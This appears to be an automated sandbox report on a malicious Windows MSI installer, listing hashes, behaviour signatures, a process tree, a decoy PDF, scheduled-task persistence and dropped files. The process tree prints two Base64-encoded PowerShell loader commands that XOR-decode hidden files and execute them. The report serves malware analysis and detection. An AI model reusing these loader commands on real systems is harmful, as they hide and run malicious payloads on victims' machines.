4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-03-2023 11:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51.msi
Size

166KB
MD5

fee3db5db8817e82b1af4cedafd2f346
SHA1

e6bcf68c7d55fc933e7a7e2ca1fb4e8fa1ad376d
SHA256

4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51
SHA512

37bbe3176b6d793b2b140e6bb6989b322832bdd77869d86e071e7566902fa9f718a647c2fb347a8a79f1fd9b5d5fc376ba8ddfa516944c3134d351048853278c
SSDEEP

3072:cCZXtgABNBJ1BP5mUopW5KfTl6bmneDhZd31JHtb/B9:cedgABj3op+KrcrtZd31Ftb/B9

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	948	powershell.exe
6	948	powershell.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\6c68d2.msi	msiexec.exe
File created	C:\Windows\Installer\6c68d6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\6c68d4.ipi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File created	C:\Windows\Installer\6c68d2.msi	msiexec.exe
File created	C:\Windows\Installer\6c68d4.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6B42.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1740	msiexec.exe
1740	msiexec.exe
1800	powershell.exe
1800	powershell.exe
1800	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1712	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1712	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeSecurityPrivilege	1740	msiexec.exe
Token: SeCreateTokenPrivilege	1712	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1712	msiexec.exe
Token: SeLockMemoryPrivilege	1712	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1712	msiexec.exe
Token: SeMachineAccountPrivilege	1712	msiexec.exe
Token: SeTcbPrivilege	1712	msiexec.exe
Token: SeSecurityPrivilege	1712	msiexec.exe
Token: SeTakeOwnershipPrivilege	1712	msiexec.exe
Token: SeLoadDriverPrivilege	1712	msiexec.exe
Token: SeSystemProfilePrivilege	1712	msiexec.exe
Token: SeSystemtimePrivilege	1712	msiexec.exe
Token: SeProfSingleProcessPrivilege	1712	msiexec.exe
Token: SeIncBasePriorityPrivilege	1712	msiexec.exe
Token: SeCreatePagefilePrivilege	1712	msiexec.exe
Token: SeCreatePermanentPrivilege	1712	msiexec.exe
Token: SeBackupPrivilege	1712	msiexec.exe
Token: SeRestorePrivilege	1712	msiexec.exe
Token: SeShutdownPrivilege	1712	msiexec.exe
Token: SeDebugPrivilege	1712	msiexec.exe
Token: SeAuditPrivilege	1712	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1712	msiexec.exe
Token: SeChangeNotifyPrivilege	1712	msiexec.exe
Token: SeRemoteShutdownPrivilege	1712	msiexec.exe
Token: SeUndockPrivilege	1712	msiexec.exe
Token: SeSyncAgentPrivilege	1712	msiexec.exe
Token: SeEnableDelegationPrivilege	1712	msiexec.exe
Token: SeManageVolumePrivilege	1712	msiexec.exe
Token: SeImpersonatePrivilege	1712	msiexec.exe
Token: SeCreateGlobalPrivilege	1712	msiexec.exe
Token: SeBackupPrivilege	1060	vssvc.exe
Token: SeRestorePrivilege	1060	vssvc.exe
Token: SeAuditPrivilege	1060	vssvc.exe
Token: SeBackupPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	996	DrvInst.exe
Token: SeLoadDriverPrivilege	996	DrvInst.exe
Token: SeLoadDriverPrivilege	996	DrvInst.exe
Token: SeLoadDriverPrivilege	996	DrvInst.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe
Token: SeTakeOwnershipPrivilege	1740	msiexec.exe
Token: SeRestorePrivilege	1740	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1712	msiexec.exe
1712	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1104	AcroRd32.exe
1104	AcroRd32.exe
1104	AcroRd32.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 1740 wrote to memory of 824	1740	msiexec.exe	32
PID 824 wrote to memory of 1800	824	MsiExec.exe	33
PID 824 wrote to memory of 1800	824	MsiExec.exe	33
PID 824 wrote to memory of 1800	824	MsiExec.exe	33
PID 824 wrote to memory of 1800	824	MsiExec.exe	33
PID 1800 wrote to memory of 1104	1800	powershell.exe	35
PID 1800 wrote to memory of 1104	1800	powershell.exe	35
PID 1800 wrote to memory of 1104	1800	powershell.exe	35
PID 1800 wrote to memory of 1104	1800	powershell.exe	35
PID 1800 wrote to memory of 1528	1800	powershell.exe	36
PID 1800 wrote to memory of 1528	1800	powershell.exe	36
PID 1800 wrote to memory of 1528	1800	powershell.exe	36
PID 1800 wrote to memory of 1528	1800	powershell.exe	36
PID 1528 wrote to memory of 1644	1528	csc.exe	37
PID 1528 wrote to memory of 1644	1528	csc.exe	37
PID 1528 wrote to memory of 1644	1528	csc.exe	37
PID 1528 wrote to memory of 1644	1528	csc.exe	37
PID 1800 wrote to memory of 1828	1800	powershell.exe	38
PID 1800 wrote to memory of 1828	1800	powershell.exe	38
PID 1800 wrote to memory of 1828	1800	powershell.exe	38
PID 1800 wrote to memory of 1828	1800	powershell.exe	38
PID 1800 wrote to memory of 2000	1800	powershell.exe	39
PID 1800 wrote to memory of 2000	1800	powershell.exe	39
PID 1800 wrote to memory of 2000	1800	powershell.exe	39
PID 1800 wrote to memory of 2000	1800	powershell.exe	39
PID 1556 wrote to memory of 1376	1556	taskeng.exe	41
PID 1556 wrote to memory of 1376	1556	taskeng.exe	41
PID 1556 wrote to memory of 1376	1556	taskeng.exe	41
PID 1376 wrote to memory of 948	1376	wscript.exe	42
PID 1376 wrote to memory of 948	1376	wscript.exe	42
PID 1376 wrote to memory of 948	1376	wscript.exe	42
PID 948 wrote to memory of 992	948	powershell.exe	45
PID 948 wrote to memory of 992	948	powershell.exe	45
PID 948 wrote to memory of 992	948	powershell.exe	45
PID 992 wrote to memory of 2024	992	csc.exe	46
PID 992 wrote to memory of 2024	992	csc.exe	46
PID 992 wrote to memory of 2024	992	csc.exe	46

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1712

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A8A5D951D4CEC21574E920033C47ADB1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABpAG4AcwB0AD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFcAaQBuAEUAdgBlAG4AdABDAG8AbQBcAHMAZQByAHYAaQBjAGUAXwBwAGEAYwBrAC4AZABhAHQAIgA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaQBuAHMAdAApACkAewByAGUAdAB1AHIAbgA7AH0AJABiAGkAbgBzAHQAPQBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACQAaQBuAHMAdAApADsAJAB4AGIAaQBuAHMAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgACQAYgBpAG4AcwB0AC4AQwBvAHUAbgB0ADsAZgBvAHIAKAAkAGkAPQAwADsAJABpAC0AbAB0ACQAYgBpAG4AcwB0AC4AQwBvAHUAbgB0ADsAJABpACsAKwApAHsAJAB4AGIAaQBuAHMAdABbACQAaQBdAD0AJABiAGkAbgBzAHQAWwAkAGkAXQAtAGIAeABvAHIAMAB4ADEAMwA7ACQAeABiAGkAbgBzAHQAWwAkAGkAXQA9ACQAYgBpAG4AcwB0AFsAJABpAF0ALQBiAHgAbwByADAAeAA1ADUAOwAkAHgAYgBpAG4AcwB0AFsAJABpAF0APQAkAGIAaQBuAHMAdABbACQAaQBdAC0AYgB4AG8AcgAwAHgARgBGADsAJAB4AGIAaQBuAHMAdABbACQAaQBdAD0AJABiAGkAbgBzAHQAWwAkAGkAXQAtAGIAeABvAHIAMAB4AEYARgA7AH0AOwBUAHIAeQB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4AGIAaQBuAHMAdAApAHwAaQBlAHgAOwB9AEMAYQB0AGMAaAB7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAzADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABpAG4AcwB0ACAALQBGAG8AcgBjAGUACgA=
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Приказ Минфина ДНР № 176.pdf"
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:1104
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uirtmoe1.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1528
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES92DF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC92DE.tmp"
        5⤵
        
        PID:1644
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /query /TN WindowsActiveXTaskTrigger
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /RUN /TN WindowsActiveXTaskTrigger
      4⤵
      PID:2000

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1060

C:\Windows\system32\DrvInst.exe
DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000004A8" "0000000000000594"
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:996

C:\Windows\system32\taskeng.exe
taskeng.exe {5A0EE95C-AE4D-49B4-8573-E43679F24C77} S-1-5-21-1283023626-844874658-3193756055-1000:THEQWNRW\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\system32\wscript.exe
  wscript.exe "C:\Users\Admin\AppData\Local\WinEventCom\manutil.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABtAGEAaQBuAD0AIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABXAGkAbgBFAHYAZQBuAHQAQwBvAG0AXABjAG8AbgBmAGkAZwAiADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABtAGEAaQBuACkAKQB7AHIAZQB0AHUAcgBuADsAfQAkAGIAYQByAHIAYQB5AD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAG0AYQBpAG4AKQA7ACQAeABhAHIAcgBhAHkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGIAYQByAHIAYQB5AC4AQwBvAHUAbgB0ADsAZgBvAHIAKAAkAGkAPQAwADsAJABpAC0AbAB0ACQAYgBhAHIAcgBhAHkALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeABBAEIAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeABGAEYAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeAAzADAAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeAAxADAAOwB9ADsAVAByAHkAewBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAeABhAHIAcgBhAHkAKQB8AGkAZQB4ADsAfQBDAGEAdABjAGgAewB9AA==
    3⤵
    - Blocklisted process makes network request
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1rrtllpq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:992
    - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D60.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3D4F.tmp"
        5⤵
        
        PID:2024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\6c68d5.rbs

Filesize
8KB

MD5
a6f9e0789f04395f98cb10ddb2757447

SHA1
921efe216ef280d6d5f758d5e900e187b1c45e59

SHA256
646ca6275d06209090e230310ae6a32e7d9bf47e5d13ef7ccec90f9ba8486b8c

SHA512
334c88549b26826728e6d19116c2051073db5bfe5543576ec578f217254c6de4bd61281094ed0cc659e1b37e8592492a4316fb57c2904ee3e947e8465b2bb74d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1rrtllpq.dll

Filesize
3KB

MD5
573ad0911ddce78c25ec17871a4932e4

SHA1
fb9b9911526a6db7a695a72954b083e2a8a68e8d

SHA256
b811b95d0faa2ab03407d030d8898a4ffa6342f291fdb16c5ecb59b092c77c80

SHA512
fa95e5efa42cc7e3ca7482291740b396491528f93cba24ad8d66d43d7d4bc755bf8c4f00e461d8b26dd96c8086c40763042de7e68bd58171dd617ff60d3fadad

Download Submit
C:\Users\Admin\AppData\Local\Temp\1rrtllpq.pdb

Filesize
7KB

MD5
d8062525da59a1c98223dd3dfe663574

SHA1
85571f762fc319c9eb64c122254bdda87cfff08e

SHA256
e99462fcf30d6b280235cd48285a78c44c6ff4c0ac9521631e8e5860c2951218

SHA512
84bff35fca18223016b63f9d20cb03917de55f7cd1b77c0f7065f919ad357d4dece9c9afb7f2b484e796a32e64f27fb96e7135c73774b41adfa7466ef4df17f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES3D60.tmp

Filesize
1KB

MD5
3e91fa3ec061c206305f47b571be5530

SHA1
dade6db818991f42db906f13544c7a7dd9f4ffd0

SHA256
f232cb4681b45dd8eda9195a320d3a423a4715e766c174e79db3c985cf41483d

SHA512
e91bfa13d1c0363b38a353f61b764b5f13e7956bc7e2181e4f4c5eca7a90de9acd7ce355fc93a64319e9f4b4089d890152b6535d8c1b7383c20f7df053f99ef8

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES92DF.tmp

Filesize
1KB

MD5
d43aa85e415be7c3fcd36c69bfd72584

SHA1
e49e85afa42c75c1ba9d7fe5539f84d882989828

SHA256
ffb4ee2dbbeafefe61cf5baaeca6741bacbd35e03a5901a64cb8b82c62a5badf

SHA512
1e21f85b36d680c46d98dd86e60aa4a0b75789033b4138daf6cc800355926e91989a84cb71a935228910415b336ba42f1b9ea5a2fb504fbac84f95a36af72780

Download Submit
C:\Users\Admin\AppData\Local\Temp\uirtmoe1.dll

Filesize
3KB

MD5
f1e0824f0c75833ba55264f0a11e0cc7

SHA1
85cf63652c285b699dd06b53b23d6b76c79c167c

SHA256
966535f5727595dbff078178c9d3a77143c1b06e286f5f807554bb49327545e8

SHA512
46e4e4920d40cb195a15bbdb1ffc4627567aee98b1bae8f46f66f3aab2327d3906336f48bf39ff6312bc688827b678869145d0a989bfe0ac78d86a8002ef046a

Download Submit
C:\Users\Admin\AppData\Local\Temp\uirtmoe1.pdb

Filesize
7KB

MD5
27a0a5a0bc5a9f82e6d6d5ed1787f04a

SHA1
2283677e0aa4e4061cb0dcb2991c6cfc6a5e1c4c

SHA256
862f2763c6bc0a52af262fc2b54b1066e6b626cf454a9d1fff5267619e06ee1a

SHA512
8ea54d974baf43b570e683b4d2c9463b5679d84f421f7a6a28f8fca8b1edef49745c636c2148f86a7aecb75b5fdd9f3814ab07b6b466446dd7d0b1f1fbdc0a9a

Download Submit
C:\Users\Admin\AppData\Local\WinEventCom\config

Filesize
9KB

MD5
ab4d7aae358846880050ea7e37f52ac7

SHA1
6c0f5abb5531cd47313b21e461b190f6a39676a0

SHA256
ddf9f9cf92aa2cd47cd9aa708756e2233fbb0186480377ed6c37bdb66e0d1ec3

SHA512
0a0bfae046028f5439b9c30cb32596da585f3d84fb38959b66510f999ae3d51330be7357c7b23ddd7a19882ab568e21459a99805f59a2ac5db31a6dd5f4e6dfb

Download Submit
C:\Users\Admin\AppData\Local\WinEventCom\manutil.vbs

Filesize
1KB

MD5
8c2f5e7432f1e6ad22002991772d589b

SHA1
8b04e7b1608b7498e06905e62f03f5e23687d9eb

SHA256
5d008539c11d9e35e9851487e82a078bbf8a1bd19a7f5f1f5beb581b47c7ca91

SHA512
